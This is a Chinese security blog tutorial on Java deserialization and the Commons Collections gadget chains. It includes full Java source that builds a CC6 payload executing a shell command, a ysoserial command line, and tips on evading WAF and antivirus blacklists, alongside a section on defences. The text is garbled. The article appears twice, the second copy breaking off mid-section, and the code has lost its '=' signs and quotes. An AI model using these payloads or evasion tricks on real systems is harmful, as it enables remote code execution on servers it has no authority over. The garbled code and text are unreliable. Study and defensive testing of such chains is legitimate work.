CC链也就是Commons Collections链是Java安全领域里绕不开的一座山头。只要你的工作涉及渗透测试、Java服务安全评估或者代码审计早晚得跟它碰面。哪怕你没有亲手打过一次CC链也一定听说过那些通过反序列化漏洞拿下目标服务器的经典案例——很多实战攻击的起点就是一条精心构造的CC链数据包。这串看似神秘的名字本质上就是一条将Java反序列化漏洞转化为任意代码执行的利用路径。它利用了Java标准库和Apache Commons Collections组件之间的调用关系通过构造特殊数据让目标程序在反序列化时执行攻击者预设的命令。对小白来说它最难的地方在于链条长、类多、反射绕来绕去一旦没人带你梳理很容易卡在某个环节就放弃了。这篇文章我就以一个干过不少Java安全评估的从业者视角从原理到实操把CC链的来龙去脉、利用链构造逻辑、常见坑位和防御思路一次讲清楚。读完之后你至少能做到看得懂公开的CC链攻击Payload能在自己搭的靶场里把CC链跑通还能在代码审计时一眼看出哪里可能存在反序列化风险。1. 还没开始打先把这几件事搞清楚1.1 CC链到底是什么解决什么问题先说人话。假设你给一个Java应用发送了一段序列化后的字节流应用拿到之后直接调用了ObjectInputStream.readObject()来还原对象。这个过程本身没问题但问题在于Java反序列化时某些类会在readObject()方法里偷偷干别的事情甚至自动触发一连串的方法调用。如果你能找到一条从readObject()触发到Runtime.exec()的完整路径并且路径上的每个环节都能被你的输入数据控制那你就能让服务器在反序列化的一瞬间执行你想要的系统命令——这就叫“利用链”而CC链就是其中最出名的一条因为它的入口和跳板大多来自Apache Commons Collections这个开源库。我最早接触CC链的时候最头疼的就是“这么多类和接口到底谁调谁”。后来我的一个导师给了个特别好的比喻整个利用链就像一套多米诺骨牌你要做的不是每块骨牌都亲手推而是找到第一块骨牌入口点把它往正确的方向一推后面的事全是Java自身的方法调用机制帮你干完的。CC链的价值正在于此——它帮你把后面那几十块骨牌的位置全部摆好你要做的只是选一个入口发出去。1.2 为什么CC链是Java安全的必修课反序列化漏洞在很多语言里都有但Java的反序列化问题格外严重核心原因是Java生态里到处都是Serializable的类而且readObject()里藏的逻辑五花八门。只要某个类在反序列化时有“额外行为”它就有可能成为攻击链的一环。CC链具体能做什么决定了它的地位远程命令执行这是最直接的利用方式通过Runtime.exec()在目标服务器上执行任意命令比如弹个shell、写个webshell、下载恶意文件。任意文件操作配合FileOutputStream等类实现文件读取或写入在不出网的情况下照样把信息弄出来。二次利用的跳板拿下一台Java应用服务器后CC链经常用来做内网横向移动的第一步毕竟很多内网系统都是Java写的。对这个领域来说不懂CC链等于没进门槛。你看那些SRC漏洞报告、攻防演练复盘反序列化相关的高危漏洞里CC链几乎是出现频率最高的利用方式不夸张地说它就是Java利用链的“母语”。1.3 这篇文章适合谁看你能得到什么如果你是下面这几类人这篇文章的内容对你应该是正正好刚接触渗透测试的新人理解漏洞原理是你后续写Payload、做测试的基础这里不讲玄学只讲链路和逻辑。中级安全工程师对CC链已有模糊认知需要系统梳理链条构造、版本兼容性和实战细节。Java开发转安全的同学你已经会写Java但不知道它怎么被“玩坏”这篇文章能帮你快速建立安全视角。代码审计方向的初学者你需要知道哪些常见的类入口、哪些组件高危才好在实际项目里快速定位问题。你能得到的东西包括CC链的完整底层逻辑、一整套可以落地到靶场的实操步骤、各种版本的坑位避雷指南、还有一套防御检测的思路。我不会只给你贴一段网上的Payload而是带着你从序列化到反射一步一步把链子走通这样以后你看任何一条利用链都不会觉得它是天书。2. CC链攻击的核心构件与触发机制很多教程上来就贴完整Payload结果新人看代码像看天书。我的建议是先别管那些链的名字什么CC1、CC3、CC6先理解底层的几个大件。CC链不管版本和变种怎么变都逃不开这三个基础构件。2.1 反序列化机制为什么readObject会有魔法Java的序列化机制通过java.io.Serializable接口标记一个类可以被“存档”。存档时ObjectOutputStream会把你对象的字段状态写成一串字节取档时ObjectInputStream读字节并重建对象。问题出在取档这里——Java允许类自己定义一个readObject()方法重建对象时可以执行自定义逻辑比如校验数据、重新初始化缓存、打开连接。这里就是安全边界被撕开的地方。如果一个类的readObject()内部调用了某些危险方法或者在某些条件下会触发后续方法调用那攻击者就能通过序列化数据的内容把这些方法调用链“指挥”到任意命令执行的方向。关键点在于readObject()默认恢复对象的各个字段值攻击者完全可以伪造字段的内容让恢复出来的对象字段携带恶意参数。比如某个字段本来是个字符串你可以塞一个精心构造的Transformer[]数组进去某个字段本来是个map你可以让它的某个key指向恶意Transformer。这就是整个利用链的数据注入点。2.2 反射机制Java的“后门钥匙”Java反射提供了运行时动态获取类信息、实例化对象、访问私有方法的能力。正常情况下代码在编译期就确定了调用关系而反射机制把选择权交给了程序运行期——用一个字符串就能指定要实例化的类名用一个字符串就能指定要调用的方法名。这种动态特性让攻击者能够在不直接引用危险类的前提下把调用引向Runtime.exec()。有人可能会问直接写new Runtime().exec(whoami)不就好了吗问题在于反序列化可控的数据最终能影响的只是对象字段和少数方法参数你没法在序列化数据里“携带”一段可执行的Java代码除非有一种机制能把数据变成“行为”。反射就是这种机制——你把类名和方法名都塞进构造函数参数里链子走到某一步时再动态调用代码审计表面上看过去到处都是字符串和接口根本看不出危险。CC链里大量使用反射调用比如InvokerTransformer就是专门用来反射调用任意方法的类。攻击者给它传一个方法名“exec”和一个参数列表它就能在链子的最终阶段触发命令执行。这就像一个“万能遥控器”指向谁、按哪个键全是数据说了算。2.3 Transformer机制CC链的灵魂真正让CC链区别于其他反序列化利用链的是Apache Commons Collections库中的Transformer机制。这个库本身是个工具集合Transformer接口提供了一个简单的设计模式把一个对象转换成另一个对象。比如ConstantTransformer永远返回同一个值InvokerTransformer调用指定方法并返回结果。这些转换器可以组合成一条流水线前一个的输出作为后一个的输入。CC链的思路就是让某个入口点反序列化后活动一个集合类集合类在操作元素时自动调用了Transformer.transform()方法然后这个流水线就把对象一路“加工”成命令执行结果。受害者程序本身并不知道自己在执行攻击者预设的行为它只是很听话地把每条链子的方法都调用了一遍。举个例子TransformedMap是Commons Collections里的一个Map包装类它在Map内容被修改时会自动调用预设的Transformer链来处理新值。攻击者就能构造一个恶意的TransformedMap然后想办法让反序列化入口触发Map的写入操作链子就自动跑了。核心思想就是一个找一个正常的业务方法调用让它变成攻击链的启动开关。3. 主链路的构造逻辑与版本差异3.1 Ysoerial怎么帮你拆链子工欲善其事必先利其器。说CC链绕不开ysoserial这个神器它是一个开源的Java反序列化利用工具内置了很多条Payload生成器。它的作用非常简单根据你指定的组件版本和利用链类型生成一条序列化的Payload字节流你只需要把这段字节流发给目标应用即可。我当年学习时做法是先跑一遍ysoserial生成Payload再把它生成的代码和源码对照着看。这一步对理解链路极其有效因为ysoserial的每条gadget链都有明确的代码路径照着走一遍远比直接看网上截取的片段要系统。以CC链来说ysoserial里内置的常见Chain包括CC1、CC3、CC6等每一条适用于不同版本和不同限制条件。它们的起点不同跳板不同但终点都是Runtime.exec()区别在于触发条件和依赖库的版本要求。3.2 CC1到CC6版本限制如何决定链子选择先看一张速查表这是我在实战中反复用的参考链子名称核心依赖版本触发器/入口类关键中间类适用场景CC1Commons Collections 3.xAnnotationInvocationHandlerTransformedMap / LazyMap老版本测试、学习原理首选CC3Commons Collections 3.xAnnotationInvocationHandlerTrAXFilter / TemplatesImpl绕过某些InvokerTransformer限制CC6Commons Collections 3.x~4.xHashMapTiedMapEntry / LazyMap兼容性好适合大部分场景CC5Commons Collections 3.xBadAttributeValueExpExceptionTiedMapEntry / LazyMap特定入口的可选项为什么这么多链子核心原因在于不同版本的Java环境和Commons Collections版本所允许使用的类和方法限制不同。比如CC1在较新JDK上会因为AnnotationInvocationHandler内部逻辑的改动而不稳定这时就需要换别的入口类再比如高版本Commons Collections 4.x修复了部分Transformer类的序列化特性原本的链子就断掉了。所以哪个链子最好并没有一概而论的答案——最合适的链子就是跑得通当前目标环境的链子。我见过很多新手死记某一条链拿到目标上一试就废其实是版本不匹配根本不是技术问题。3.3 手写一遍CC6链的完整构造过程CC6是我个人比较推荐教学使用的链子因为它兼容性最广依赖的入口是HashMap而不是特定的JDK内部类在大部分环境中都能用。下面带手写一遍核心逻辑完整代码我也给出。思路是构造一个LazyMap它的get()方法在key不存在时触发传入的Transformer链然后把这个LazyMap包装为TiedMapEntry让它的getValue()调用LazyMap的get()最后把TiedMapEntry放进HashMap的key里触发hashCode()间接调用到TiedMapEntry.getValue()。完整代码import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.keyvalue.TiedMapEntry; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6Payload { public static void main(String[] args) throws Exception { // 1. 定义命令 String command touch /tmp/cc6_pwned; // 2. 构造Transformer链最终实现Runtime.exec Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[] { String.class, Class[].class }, new Object[] { getRuntime, new Class[0] }), new InvokerTransformer(invoke, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(exec, new Class[] { String.class }, new Object[] { command }) }; ChainedTransformer chain new ChainedTransformer(transformers); // 3. 创建LazyMapget()时会触发Transformer链 Map innerMap new HashMap(); Map lazyMap LazyMap.decorate(innerMap, chain); // 4. 用TiedMapEntry包装让hashCode触发LazyMap.get TiedMapEntry entry new TiedMapEntry(lazyMap, key1); // 5. 把entry放入HashMap触发hashCode HashMapObject, Object payloadMap new HashMap(); payloadMap.put(entry, value1); // 6. 清除LazyMap中的key避免序列化重放时影响触发 lazyMap.remove(key1); // 7. 序列化输出 ObjectOutputStream out new ObjectOutputStream(new FileOutputStream(cc6.ser)); out.writeObject(payloadMap); out.close(); // 8. 反序列化验证 ObjectInputStream in new ObjectInputStream(new FileInputStream(cc6.ser)); in.readObject(); in.close(); } }请注意第6步——这个小细节特别重要。因为在构造过程中HashMap.put(entry, ...)已经实际调用过hashCode()导致lazyMap里被写入了key1这个映射。如果不把它移除反序列化时LazyMap.get(key1)会直接返回已有的值根本不会继续调用Transformer链Payload就废了。我见过不少人折腾半天跑不通原因就是这一步没清理。那份代码跑起来后去/tmp目录下看一眼如果生成了cc6_pwned文件说明链子完整被执行了。理论上是这么回事不过别忘了你要在安全靶场环境去跑。3.4 为什么CC3经常被用作备选链CC3在某些场景下比CC6更“优雅”因为它不需要经过Runtime.class到getRuntime再到exec这样的多段反射调用而是直接通过TemplatesImpl加载字节码。攻击者把恶意类的字节码存进TemplatesImpl的_bytecodes字段再通过TrAXFilter的构造函数触发newTransformer()最终导致字节码被加载执行。这条链的精髓在于“加载字节码”这个动作比“调用exec”更灵活——你可以加载任意类执行任意逻辑不仅限于命令执行。换句话说CC3通常可以配合内存马注入、代理注入等更高级的攻击手法。在实战中CC3很多时候用来绕过某些安全产品对InvokerTransformer拼接特征的检测。因为CC3的核心触发从“反射调用多个方法”变成了“加载一个类”攻击特征有明显差异。4. 实操复盘从生成Payload到拿下本地靶机4.1 准备一个本地环境Linux 老版本Commons Collections工欲善其事必先利其器。你不需要真的去外网打什么站点本地搭个实验环境完完全全够了。准备步骤如下一台Linux虚拟机或者容器建议用Ubuntu 20.04或更新一点的版本。JDK版本选择建议想完整复现各类CC链用JDK 8u66以前的版本最舒服这个版本对AnnotationInvocationHandler没有任何限制新一点的JDK 8也可能行但部分链子会挂。下载Apache Commons Collections 3.1或3.2.1版本放classpath里。写一个简单Servlet或者一个main函数模拟反序列化入口比如从文件或者二进制流里直接readObject()。这一步你自然就会明白为什么很多项目在接收用户输入后会坠入安全深渊。4.2 使用ysoserial生成Payload用ysoserial生成Payload的命令异常简单java -jar ysoserial.jar CommonsCollections6 touch /tmp/cc6_pwned cc6.ser执行完你将得到一个cc6.ser文件。注意ysoserial生成的Payload是Java原生序列化格式不含任何明文特征直接把文件发出去就能触发目标应用反序列化逻辑。如果你想验证某个目标版本也可以先生成再用自己的本地程序接收这个文件做测试确认链路在目标JDK和组件版本下可用。这一步能省去你后续大量试错的时间。4.3 目标靶场的反序列化触发验证你在本地起的靶场程序最核心的逻辑就一句话ObjectInputStream ois new ObjectInputStream(new FileInputStream(poc.ser)); ois.readObject();这个程序虽然是学习用的但它完美模拟了真实业务中两个危险场景对外提供的RPC服务直接反序列化请求体或者某个接口把用户上传的文件当成了序列化数据去读。攻击侧只要把生成的.ser文件传给这个程序等它执行完readObject()命令就静悄悄跑完了。你可以通过日志或者文件系统变化来判断命令是否执行成功。4.4 多版本链子的横向测试记录我搭环境做实验的时候习惯把CC1、CC3、CC6三条链都生成一遍然后挨个试。有一次我用的是JDK 8u45 Commons Collections 3.2.1三条全成换到JDK 8u191后CC1失手CC6稳定CC3稳定再换到Commons Collections 4.0CC6还是能通但CC1彻底走不通。结论就一句话链子的可用性和环境强相关。在做任何测试之前先确认目标的Java版本、Commons Collections版本、以及是否用的是高版本JDK限制了某些反射调用。搞明白这三点你的成功率会直线上升。4.5 真实环境里那些不能说的细节在攻防演练中很多时候目标没有直接暴露反序列化入口需要通过一些变形或二次封装才能触达。比如目标用ObjectInputStream的子类重写了resolveClass()会过滤部分类名——这时可能需要使用不在黑名单里的类作入口。目标的请求协议是XMLDecoder或者JSON需要先转成Java反序列化格式才能触发。目标将Payload做了一层Base64或Hex编码——你需要有适配层来解码。这些细节靠背步骤是学不来的只能一个个环境去摸去踩。当然你知道原理之后遇到这些变形也不会慌核心链没变变的只是入口和数据包装方式。而且记住一点你手里所有测试都必须在你拥有合法授权的环境下进行这不仅是对他人负责也是保护你自己。5. 常见的问题排查与踩坑实录5.1 为什么生成的Payload本地执行无反应这种情况几乎所有人都会遇到。最容易忽视的坑就是lazyMap里的缓存键没有清除。当你构造HashMap时已经触发过一次hashCode()导致LazyMap里存了key反序列化时走同样的key路径LazyMap直接返回缓存值链子断了。解决办法就是像上面写的那样在序列化前把lazyMap中的key移除。如果用了ysoserial生成这步由工具内部处理好了所以没啥感觉等手写时才发现这么个坑。还有一种可能是你的构造过程和反序列化过程处在不同类加载器环境Transformer[]内部的部分对象没有被正确序列化。把序列化前后的类路径打出来对比一下基本能定位到问题。5.2 明明版本匹配还是触发失败版本匹配是必要条件但不是充分条件。你可能忽略了JDK对反射的限制高版本JDK对sun.reflect.annotation.AnnotationInvocationHandler等内部类增加了很多校验逻辑导致readObject走到一半就抛出异常。这时你的第一直觉应该是换一条对JDK版本不那么敏感的链子比如CC6或者尝试CC5。另有一个容易被忽略的点某些应用在反序列化前会先做一层对象反序列化过滤比如ObjectInputFilter。这种情况下即使你的链子本身没问题它也可能在反序列化的早期阶段就被拦截了。可以试着用一个简单对象做白名单测试确认过滤规则里到底放行了哪些类再调整链子的入口类。5.3 利用链被杀软或WAF拦截怎么办常见的拦截思路有两种黑名单类名匹配拦截Payload里的Runtime、ProcessBuilder、TemplatesImpl等类名。应对思路是换用不在黑名单内的跳板类比如某些中间件的内部类只按动态字节码加载来动作不会直接出现Runtime字符串。特征字符串匹配拦截getRuntime、exec等固定字符串。应对思路是利用TemplatesImpl加载自定义字节码把命令执行逻辑放在自定义类里Payload里就不需要存在敏感字符串。但是注意这些“绕过”思路只能在授权的攻防演练或漏洞研究中讨论。现实场景里为了对抗检测而研究绕过是有门槛的在入门阶段你更应该把所有精力放在原理理解和标准利用上。把CC6、CC1先跑通再考虑对抗。5.4 手写链子时的本地调试技巧手写并调试一条CC链是理解序列化漏洞最扎实的路径。我用了两个实用手段第一条件断点。在ObjectInputStream.readObject()进来的方法入口打断点然后用单步跟进一步步看着调用栈怎么跳到LazyMap.get()再到Transform()。这个方法很慢但收益特别大因为你会亲眼看见方法调用是怎么一路传下去的。第二打印调用栈。在关键类的transform()方法或get()方法里临时加一行Thread.dumpStack()或打印异常堆栈能看到完整调用路径。再和ysoserial的源码路径做对比就能快速定位自己构造的数据“断”在哪里。6. 防御视角怎么堵上CC链的入口6.1 反序列化入口的治理清单从防御方角度看反序列化漏洞的根源往往不在CC链本身而在应用层随意接收反序列化数据。治理思路分这几条不接收不信任的序列化数据最彻底的办法重新设计接口丢掉Java原生序列化传输改用JSON等方式传数据。如果无法避免反序列化用白名单过滤启用ObjectInputFilter只允许反序列化已知的安全类彻底拦掉第三方组件里的风险类。升级组件版本把Commons Collections升到4.1目前官方已经修复了多数可被利用的TransformedMap/LazyMap序列化问题。上RASP或WAF动态检测反序列化时的行为特征在命令执行前对方法调用链做拦截和告警。大部分公司治理反序列化问题采取的都是组合拳先收敛入口再升级组件最后上运行态防护。缺一不可。6.2 实战侧如何检测和定位风险点检测反序列化风险最好的方法是做代码审计和组件资产盘点双管齐下。代码审计上搜索所有调用了ObjectInputStream.readObject()的位置确认传入数据是否可信。组件资产盘点用IDE插件或SCA工具扫一遍依赖树找出Commons Collections等组件的版本对照“已知可被利用版本”的清单。渗透测试视角下还有一个高效的验证方式向目标发送一段“探针”Payload比如让目标反向连接你的监听端口或写一个特定文件。如果探针生效基本能确认目标存在反序列化漏洞。这种方式合规且风险低比直接攻击要稳妥得多。6.3 理解纵深防御而不是只堵一条链最后必须强调一点CC链只是众多利用链中的一个。哪怕你把Commons Collections堵死还有C3P0、Fastjson、Shiro、Weblogic等等各自的利用方式。防御的思路不能变成“把这条链的类禁掉”而是要做纵深防御——从网络层缩小接口暴露面、从服务层校验数据来源、从运行态部署RASP、从主机层做命令执行的审计告警。这就像一个小区单靠一个门锁肯定不够还得有围墙、监控、保安巡逻多重防线一起上才能堵住大部分入侵方式。7. 后续学习路径与扩展思路7.1 从CC链到其他Gadget链的迁移掌握CC链的构造原理后再去学别的Gadget链会轻松很多。比如CommonsBeanutils这条链核心思路也是通过某个类的toString/hashCode触发危险方法Fastjson则是利用JSON反序列化时的type自动实例化再通过setter/getter方法做跳板。一句话总结它们都是“入口可控 中间跳板 终点危险方法”的套路。你可以把不同链子做成一张对比表看它们的入口类、调用链、限制条件。看多了就会形成肌肉记忆拿到一个版本环境能马上猜出哪条链大概率能通、哪条会挂。7.2 阅读ysoserial源码的高效姿势直接用文本编辑器读ysoserial源码效率很低因为代码之间引用关系复杂。我推荐的方式是先选一条链子最好是CC6从它的getObject()方法开始阅读。边读边用mvn依赖树看清楚它用了哪些版本的Commons Collections。对照源码中构造的对象类型逐行在真实环境里打断点走一遍。一次只啃一条链能复现了再换下一条。这么操作下来你可能两三天啃透一条链虽然慢但质量非常扎实。7.3 从攻击到防御这条路还能怎么延伸入门时你从攻击侧理解漏洞这很好但越往后越要主动从防御侧来看问题。一个完整的知识闭环应该是攻击链构造逻辑知道怎么打漏洞原理知道为什么能打修复方案知道怎么补检测规则知道怎么发现当你四个方向都能讲清楚才算真正把CC链“吃了”。很多优秀的安全研究员甚至能从一条老的CC链延伸到挖掘一个新的Gadget链这就是因为他们的底层知识足够深套路足够熟。我个人在实际操作中的体会是学CC链最忌讳的就是光看不练。你可以读一百篇文章不如自己花半天时间打断点走一条链子。顺利走通一次之后那种“原来如此”的透彻感是任何教程都给不了的。 
长河君 · 2026/10/19 5:11:33 · 阅读 1.2k Java反序列化漏洞核心：CC链利用链原理与实战解析
CC链也就是Commons Collections链是Java安全领域里绕不开的一座山头。只要你的工作涉及渗透测试、Java服务安全评估或者代码审计早晚得跟它碰面。哪怕你没有亲手打过一次CC链也一定听说过那些通过反序列化漏洞拿下目标服务器的经典案例——很多实战攻击的起点就是一条精心构造的CC链数据包。这串看似神秘的名字本质上就是一条将Java反序列化漏洞转化为任意代码执行的利用路径。它利用了Java标准库和Apache Commons Collections组件之间的调用关系通过构造特殊数据让目标程序在反序列化时执行攻击者预设的命令。对小白来说它最难的地方在于链条长、类多、反射绕来绕去一旦没人带你梳理很容易卡在某个环节就放弃了。这篇文章我就以一个干过不少Java安全评估的从业者视角从原理到实操把CC链的来龙去脉、利用链构造逻辑、常见坑位和防御思路一次讲清楚。读完之后你至少能做到看得懂公开的CC链攻击Payload能在自己搭的靶场里把CC链跑通还能在代码审计时一眼看出哪里可能存在反序列化风险。1. 还没开始打先把这几件事搞清楚1.1 CC链到底是什么解决什么问题先说人话。假设你给一个Java应用发送了一段序列化后的字节流应用拿到之后直接调用了ObjectInputStream.readObject()来还原对象。这个过程本身没问题但问题在于Java反序列化时某些类会在readObject()方法里偷偷干别的事情甚至自动触发一连串的方法调用。如果你能找到一条从readObject()触发到Runtime.exec()的完整路径并且路径上的每个环节都能被你的输入数据控制那你就能让服务器在反序列化的一瞬间执行你想要的系统命令——这就叫“利用链”而CC链就是其中最出名的一条因为它的入口和跳板大多来自Apache Commons Collections这个开源库。我最早接触CC链的时候最头疼的就是“这么多类和接口到底谁调谁”。后来我的一个导师给了个特别好的比喻整个利用链就像一套多米诺骨牌你要做的不是每块骨牌都亲手推而是找到第一块骨牌入口点把它往正确的方向一推后面的事全是Java自身的方法调用机制帮你干完的。CC链的价值正在于此——它帮你把后面那几十块骨牌的位置全部摆好你要做的只是选一个入口发出去。1.2 为什么CC链是Java安全的必修课反序列化漏洞在很多语言里都有但Java的反序列化问题格外严重核心原因是Java生态里到处都是Serializable的类而且readObject()里藏的逻辑五花八门。只要某个类在反序列化时有“额外行为”它就有可能成为攻击链的一环。CC链具体能做什么决定了它的地位远程命令执行这是最直接的利用方式通过Runtime.exec()在目标服务器上执行任意命令比如弹个shell、写个webshell、下载恶意文件。任意文件操作配合FileOutputStream等类实现文件读取或写入在不出网的情况下照样把信息弄出来。二次利用的跳板拿下一台Java应用服务器后CC链经常用来做内网横向移动的第一步毕竟很多内网系统都是Java写的。对这个领域来说不懂CC链等于没进门槛。你看那些SRC漏洞报告、攻防演练复盘反序列化相关的高危漏洞里CC链几乎是出现频率最高的利用方式不夸张地说它就是Java利用链的“母语”。1.3 这篇文章适合谁看你能得到什么如果你是下面这几类人这篇文章的内容对你应该是正正好刚接触渗透测试的新人理解漏洞原理是你后续写Payload、做测试的基础这里不讲玄学只讲链路和逻辑。中级安全工程师对CC链已有模糊认知需要系统梳理链条构造、版本兼容性和实战细节。Java开发转安全的同学你已经会写Java但不知道它怎么被“玩坏”这篇文章能帮你快速建立安全视角。代码审计方向的初学者你需要知道哪些常见的类入口、哪些组件高危才好在实际项目里快速定位问题。你能得到的东西包括CC链的完整底层逻辑、一整套可以落地到靶场的实操步骤、各种版本的坑位避雷指南、还有一套防御检测的思路。我不会只给你贴一段网上的Payload而是带着你从序列化到反射一步一步把链子走通这样以后你看任何一条利用链都不会觉得它是天书。2. CC链攻击的核心构件与触发机制很多教程上来就贴完整Payload结果新人看代码像看天书。我的建议是先别管那些链的名字什么CC1、CC3、CC6先理解底层的几个大件。CC链不管版本和变种怎么变都逃不开这三个基础构件。2.1 反序列化机制为什么readObject会有魔法Java的序列化机制通过java.io.Serializable接口标记一个类可以被“存档”。存档时ObjectOutputStream会把你对象的字段状态写成一串字节取档时ObjectInputStream读字节并重建对象。问题出在取档这里——Java允许类自己定义一个readObject()方法重建对象时可以执行自定义逻辑比如校验数据、重新初始化缓存、打开连接。这里就是安全边界被撕开的地方。如果一个类的readObject()内部调用了某些危险方法或者在某些条件下会触发后续方法调用那攻击者就能通过序列化数据的内容把这些方法调用链“指挥”到任意命令执行的方向。关键点在于readObject()默认恢复对象的各个字段值攻击者完全可以伪造字段的内容让恢复出来的对象字段携带恶意参数。比如某个字段本来是个字符串你可以塞一个精心构造的Transformer[]数组进去某个字段本来是个map你可以让它的某个key指向恶意Transformer。这就是整个利用链的数据注入点。2.2 反射机制Java的“后门钥匙”Java反射提供了运行时动态获取类信息、实例化对象、访问私有方法的能力。正常情况下代码在编译期就确定了调用关系而反射机制把选择权交给了程序运行期——用一个字符串就能指定要实例化的类名用一个字符串就能指定要调用的方法名。这种动态特性让攻击者能够在不直接引用危险类的前提下把调用引向Runtime.exec()。有人可能会问直接写new Runtime().exec(whoami)不就好了吗问题在于反序列化可控的数据最终能影响的只是对象字段和少数方法参数你没法在序列化数据里“携带”一段可执行的Java代码除非有一种机制能把数据变成“行为”。反射就是这种机制——你把类名和方法名都塞进构造函数参数里链子走到某一步时再动态调用代码审计表面上看过去到处都是字符串和接口根本看不出危险。CC链里大量使用反射调用比如InvokerTransformer就是专门用来反射调用任意方法的类。攻击者给它传一个方法名“exec”和一个参数列表它就能在链子的最终阶段触发命令执行。这就像一个“万能遥控器”指向谁、按哪个键全是数据说了算。2.3 Transformer机制CC链的灵魂真正让CC链区别于其他反序列化利用链的是Apache Commons Collections库中的Transformer机制。这个库本身是个工具集合Transformer接口提供了一个简单的设计模式把一个对象转换成另一个对象。比如ConstantTransformer永远返回同一个值InvokerTransformer调用指定方法并返回结果。这些转换器可以组合成一条流水线前一个的输出作为后一个的输入。CC链的思路就是让某个入口点反序列化后活动一个集合类集合类在操作元素时自动调用了Transformer.transform()方法然后这个流水线就把对象一路“加工”成命令执行结果。受害者程序本身并不知道自己在执行攻击者预设的行为它只是很听话地把每条链子的方法都调用了一遍。举个例子TransformedMap是Commons Collections里的一个Map包装类它在Map内容被修改时会自动调用预设的Transformer链来处理新值。攻击者就能构造一个恶意的TransformedMap然后想办法让反序列化入口触发Map的写入操作链子就自动跑了。核心思想就是一个找一个正常的业务方法调用让它变成攻击链的启动开关。3. 主链路的构造逻辑与版本差异3.1 Ysoerial怎么帮你拆链子工欲善其事必先利其器。说CC链绕不开ysoserial这个神器它是一个开源的Java反序列化利用工具内置了很多条Payload生成器。它的作用非常简单根据你指定的组件版本和利用链类型生成一条序列化的Payload字节流你只需要把这段字节流发给目标应用即可。我当年学习时做法是先跑一遍ysoserial生成Payload再把它生成的代码和源码对照着看。这一步对理解链路极其有效因为ysoserial的每条gadget链都有明确的代码路径照着走一遍远比直接看网上截取的片段要系统。以CC链来说ysoserial里内置的常见Chain包括CC1、CC3、CC6等每一条适用于不同版本和不同限制条件。它们的起点不同跳板不同但终点都是Runtime.exec()区别在于触发条件和依赖库的版本要求。3.2 CC1到CC6版本限制如何决定链子选择先看一张速查表这是我在实战中反复用的参考链子名称核心依赖版本触发器/入口类关键中间类适用场景CC1Commons Collections 3.xAnnotationInvocationHandlerTransformedMap / LazyMap老版本测试、学习原理首选CC3Commons Collections 3.xAnnotationInvocationHandlerTrAXFilter / TemplatesImpl绕过某些InvokerTransformer限制CC6Commons Collections 3.x~4.xHashMapTiedMapEntry / LazyMap兼容性好适合大部分场景CC5Commons Collections 3.xBadAttributeValueExpExceptionTiedMapEntry / LazyMap特定入口的可选项为什么这么多链子核心原因在于不同版本的Java环境和Commons Collections版本所允许使用的类和方法限制不同。比如CC1在较新JDK上会因为AnnotationInvocationHandler内部逻辑的改动而不稳定这时就需要换别的入口类再比如高版本Commons Collections 4.x修复了部分Transformer类的序列化特性原本的链子就断掉了。所以哪个链子最好并没有一概而论的答案——最合适的链子就是跑得通当前目标环境的链子。我见过很多新手死记某一条链拿到目标上一试就废其实是版本不匹配根本不是技术问题。3.3 手写一遍CC6链的完整构造过程CC6是我个人比较推荐教学使用的链子因为它兼容性最广依赖的入口是HashMap而不是特定的JDK内部类在大部分环境中都能用。下面带手写一遍核心逻辑完整代码我也给出。思路是构造一个LazyMap它的get()方法在key不存在时触发传入的Transformer链然后把这个LazyMap包装为TiedMapEntry让它的getValue()调用LazyMap的get()最后把TiedMapEntry放进HashMap的key里触发hashCode()间接调用到TiedMapEntry.getValue()。完整代码import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.keyvalue.TiedMapEntry; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6Payload { public static void main(String[] args) throws Exception { // 1. 定义命令 String command touch /tmp/cc6_pwned; // 2. 构造Transformer链最终实现Runtime.exec Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[] { String.class, Class[].class }, new Object[] { getRuntime, new Class[0] }), new InvokerTransformer(invoke, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(exec, new Class[] { String.class }, new Object[] { command }) }; ChainedTransformer chain new ChainedTransformer(transformers); // 3. 创建LazyMapget()时会触发Transformer链 Map innerMap new HashMap(); Map lazyMap LazyMap.decorate(innerMap, chain); // 4. 用TiedMapEntry包装让hashCode触发LazyMap.get TiedMapEntry entry new TiedMapEntry(lazyMap, key1); // 5. 把entry放入HashMap触发hashCode HashMapObject, Object payloadMap new HashMap(); payloadMap.put(entry, value1); // 6. 清除LazyMap中的key避免序列化重放时影响触发 lazyMap.remove(key1); // 7. 序列化输出 ObjectOutputStream out new ObjectOutputStream(new FileOutputStream(cc6.ser)); out.writeObject(payloadMap); out.close(); // 8. 反序列化验证 ObjectInputStream in new ObjectInputStream(new FileInputStream(cc6.ser)); in.readObject(); in.close(); } }请注意第6步——这个小细节特别重要。因为在构造过程中HashMap.put(entry, ...)已经实际调用过hashCode()导致lazyMap里被写入了key1这个映射。如果不把它移除反序列化时LazyMap.get(key1)会直接返回已有的值根本不会继续调用Transformer链Payload就废了。我见过不少人折腾半天跑不通原因就是这一步没清理。那份代码跑起来后去/tmp目录下看一眼如果生成了cc6_pwned文件说明链子完整被执行了。理论上是这么回事不过别忘了你要在安全靶场环境去跑。3.4 